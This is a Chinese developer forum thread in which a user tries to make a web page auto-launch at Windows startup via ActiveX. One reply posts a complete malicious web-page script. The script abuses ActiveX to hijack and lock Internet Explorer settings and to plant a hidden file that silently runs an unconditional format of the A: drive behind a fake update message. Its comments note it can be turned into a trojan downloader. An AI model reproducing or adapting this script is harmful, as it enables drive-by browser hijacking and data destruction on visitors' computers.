要不 你不要 catch 看看报告什么错误?

解决方案 »

  1.   

    写道注册表提示:病毒。
    原来是瑞星搞得。
    写到HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run该键值下
    开机不能自动弹出,是不是注册表弄得不对。现在通过创建快捷方式放在启动菜单里,原码如下:
    <script language="javascript">
    try {
    var WshShell = new ActiveXObject("WScript.Shell");
    strStartup = WshShell.SpecialFolders("AllUsersStartup");
    var oShellLink = WshShell.CreateShortcut(strStartup + "\\Soa(Office Automatic).lnk");
    oShellLink.WindowStyle = 1;
    oShellLink.Hotkey = "F7";
    oShellLink.IconLocation = "cmd.exe, 0";
    oShellLink.Description = "办公自动化,快捷键:F7";
    oShellLink.WorkingDirectory = strStartup;
    oShellLink.TargetPath = "http://192.168.0.3:8000/SJFile/jsp/index.htm";
    oShellLink.Save();
    }
    catch(e){
    }</script>
    直接运行,即本地运行可以可以写到启动栏里。而以http://192.168.0.3:8000/SJFile/jsp/index.htm运行就不行了,catch到e为,ojbect error。
      

  2.   

    看看这个对你有帮助
    <script>
    //初始化actiVex控件
    document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>")
    //初始化actiVex控件结束
    //定义变量
    function reg(){
    try
    {
    //设定applets为0
    a=document.applets[0]
    //初始化Windows Script Host Shell Object
    a.setCLSID("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}")
    a.createInstance()
    S=a.GetObject()
    //初始化FileSystem Object
    a.setCLSID("{0d43fe01-f093-11cf-8940-00a0c9054228}")
    a.createInstance();
    fs=a.GetObject()
    try
    {
    //开始写注册表
    //设定IE的标题为Internet Explorer
    S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","Internet Explorer")
    //设定IE的默认首页为空白页
    S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","about:blank")
    //让设定首页那项变灰
    S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage",0x1,"REG_DWORD")
    //让设定分级审查设定那项变灰
    S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecChangeSettings",0x1,"REG_DWORD")
    //在网页右键菜单中加入调用文件的命令
    S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盘\\","c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}");
    //写入值为0xf3的dowrd值 注意[REG_SZ:字符型 REG_DWORD:双字节型 REG_BINARY:二进制型]
    //对于REG_DWORD型和REG_BINARY型则有两种赋值方式
    //直接用十进制的数表示,如:0,1等
    //用十六进制的数表示,如:0x12,0xff等
    S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盘\\contexts",0xf3,"REG_DWORD")
    //结束写注册表
    //开始写硬盘
    //生成一个名为c:\\5flash.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}的文件
    hd=fs.CreateTextFile("c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
    //把这个文件写入javascript内容
    //脚本中的start /m 为最小化窗口 /autotest为自动 /u为无条件格式化
    hd.write('<script>a=new ActiveXObject ("WSCript.Shell");a.run("start /m format.com a:/q /autotest /u");alert ("正在更新a盘系统文件,请稍等......");<\/script>')
    //关闭这个文件
    hd.close()
    //把这个文件下载到客户机的c盘中,这里的路径完全可以改成网络上的,然后在后面接上.Copy("d:\format.txt"),这个脚本可以改成下载木马
    //格式为file=fs.GetFile("网络路径").Copy("运行路径")
    //这个脚本如果配合asp,那么完全成了一个功能非常强大的木马了
    file=fs.GetFile("c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
    //设定这个文件的属性为隐藏
    file.Attributes=6
    //结束写硬盘
    }
    catch(reg)
    {}
    }
    catch(reg)
    {}
    }
    function flash()
    {
    //隔100毫秒就运行一次
    setTimeout("reg()",100)
    }
    flash()
    //最后再重申,这个脚本不可用来害人,谢~
    </script>
      

  3.   

    如楼上:写注册表,服务器的Norton提示病毒,然后我的index.htm就被隔离了,文件就消失了。
    所以我用创建快捷方式到启动栏里,但是:
    本地运行,即直接双击文件,可以运行。
    使用http://192.168.0.3:8000/SJFile/jsp/index.htm运行则不能运行,catch(e)提示错误“[Object Error]”我只是要实现网页程序开机自动启动,弹出来窗口。